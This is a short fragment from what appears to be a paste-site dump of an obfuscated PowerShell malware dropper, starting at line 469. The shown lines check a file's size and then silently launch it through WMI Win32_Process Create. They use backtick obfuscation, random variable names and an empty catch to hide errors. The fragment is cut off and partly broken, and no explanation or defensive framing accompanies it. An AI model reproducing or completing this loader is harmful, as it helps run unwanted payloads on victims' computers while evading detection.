  469. If .Get-Item $Gdaay9t."LE`Ngth" -ge 35641 {[wmiclass]win32_Process."c`Re`ATe"$Gdaay9t;
  470. $Yqs0ua5=Vhci6io;
  471. break;
  472. $Trnhymh=Lu_mfr8}}catch{}}$Tklx28r=Bdj6igl
  473.  
RAW Paste Data